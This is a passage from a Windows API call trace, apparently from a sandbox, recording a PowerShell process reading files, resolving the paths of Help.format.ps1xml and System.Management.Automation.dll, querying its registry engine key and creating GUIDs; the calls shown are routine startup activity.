lpOverlapped=0x0) returned 1 [0083.741] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.742] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.742] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.742] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.742] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.744] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.744] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.744] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.745] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.745] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.745] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.746] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.748] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.750] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.750] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.751] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.751] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.751] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.751] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.752] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.752] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.752] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.753] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.753] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.753] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.754] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.754] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.754] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.754] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.758] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.759] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.759] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.759] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.760] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.760] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.760] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.760] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.761] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.761] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.761] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.762] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.762] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.762] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.763] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.763] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.763] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.764] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.764] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.764] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.765] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.765] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.765] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.765] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.766] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.766] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.766] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.767] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.767] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.767] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.768] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0xf37, lpOverlapped=0x0) returned 1 [0083.768] ReadFile (in: hFile=0x32c, lpBuffer=0x35ca4af, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35ca4af*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.768] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0083.768] SetErrorMode (uMode=0x1) returned 0x1 [0083.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d040 | out: lpFileInformation=0x24d040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0083.769] SetErrorMode (uMode=0x1) returned 0x1 [0083.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0083.769] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x32c) returned 0x0 [0083.769] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0083.769] CoTaskMemAlloc (cb=0x5a) returned 0x1b759550 [0083.769] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b759550, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0083.769] CoTaskMemFree (pv=0x1b759550) [0083.769] RegCloseKey (hKey=0x32c) returned 0x0 [0083.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0083.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0083.790] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x11c5e1e3, Data2=0xc6bd, Data3=0x40dc, Data4=([0]=0xb7, [1]=0xa3, [2]=0x3b, [3]=0x1, [4]=0x42, [5]=0x1c, [6]=0x21, [7]=0xfc))) returned 0x0 [0083.791] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xb876f55, Data2=0x8d07, Data3=0x4ec3, Data4=([0]=0xb7, [1]=0xef, [2]=0x71, [3]=0x1f, [4]=0x74, [5]=0x91, [6]=0x3a, [7]=0x7c))) returned 0x0 [0083.791] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.791] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.791] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.791] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.874] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x86dc3c84, Data2=0xa84e, Data3=0x4706, Data4=([0]=0x88, [1]=0x71, [2]=0x4, [3]=0xbc, [4]=0xf4, [5]=0x63, [6]=0x9a, [7]=0x17))) returned 0x0 [0083.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, 